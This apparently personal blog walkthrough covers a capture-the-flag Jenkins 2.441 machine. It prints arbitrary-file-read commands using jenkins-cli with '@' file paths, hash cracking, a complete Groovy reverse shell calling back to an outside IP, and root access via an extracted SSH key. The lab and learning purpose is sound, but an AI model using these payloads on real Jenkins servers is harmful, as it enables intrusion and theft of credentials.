2 minute read

box
Jenkins box with arbitrary file read with a root key post login, what more could one ask for :wink:

Recon

This box starts of like any other, an nmap scan to get an idea of the infrastructure: nmap

We have 2 ports open, 8080 (web-server) and 22 (ssh). Viewing the 8080 web server we are presented with this page: jenkins

Within this page we have 2 critical elements, the login page that we can be directed to and the jenkins version 2.441. After a little google dorking some CVE’s and potential exploits I came across this page: https://blog.securelayer7.net/arbitrary-file-read-in-jenkins/

Within this blog it covers what the exploit is and how to exploit the vulnerability. For some reason jenkins doesn’t like the @ symbol when provided with user input, so what are we going to do? Just that.

Exploitation

Using the payload: java -jar ~/tools/jenkins-cli.jar -s 'http://builder:8080' -http connect-node '@/var/jenkins_home/users/users.xml' we can successfully view the users on the machine. jennifer

We now have the user jennifer_12108429903186576833. Knowing this we can run the same payload but modified for our new found user jennifer.
java -jar ~/tools/jenkins-cli.jar -s 'http://builder:8080' -http connect-node '@/var/jenkins_home/users/jennifer_12108429903186576 jenniferpw

AWESOME! A hash. What do we do with a hash? We force feed it to John :smiling_imp:

John tells us the password is: (as per usual, look at the source code to see the answers)

Logging into the jenkins page as jennifer we see that we have full reign on the jenkins server. Meaning EASY BYPASSES BABY!

So, after a little digging I came across a script page. script

More google dorking == reverse groovy shell :sunglasses:
And it looks something like this:

String host="10.10.14.156";
int port=999;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Running a nc listener nc -lvnp 999 we get our shell (you already know the deal)

Now, time to cat user.txt.

BOOM! Just like that we have the first milestone

Next, its time to get root. This is where things slowed down a bit :pensive:

I ran linpeas, no luck (a few old exploits but nothing major enough to priv esc). I manually searched exploit locations, no luck. I tried to ssh in with a priv key I set initially on the update credentials page, NO LUCK.

At this point I’m 6 hours in haven’t eaten and getting anoyed right. So, the machine resets and I come back to my computer. I login and decide to try to ssh in once more. I go to the update credentials tab once more but this time before I manually enter them I try to see if there is any way to pull the hidden key… and there is :yum:. I ssh with the new key (decrypting it in the jenkins script tab using their libs). Decrypt source can be found here and it worked! I successfuly ssh’d into the machine and got the root.txt!

BOX PWNED! :tada:

All of this being done and said I haven’t touched ssh much because I can never seem to get it to work. From incorrect permissions, keys, configs, wrong key name, you name it I’ve done it. So, I also wasn’t too familiar of why ssh keys could fail. Turns out you can make only certain keys authenticate. So, even if the key you enter into the filed (like I did). ;-; Didn’t know this going in, so the more you know ig.

Lessons Learned

  • Arbrirary file read vuln
  • SSH keys can be blocked even if they are valid
    • ex: they can be whitelisted/blacklisted

Ya, not too much learned… but it was fun. It’s about journey right?

– Ryu out :triumph: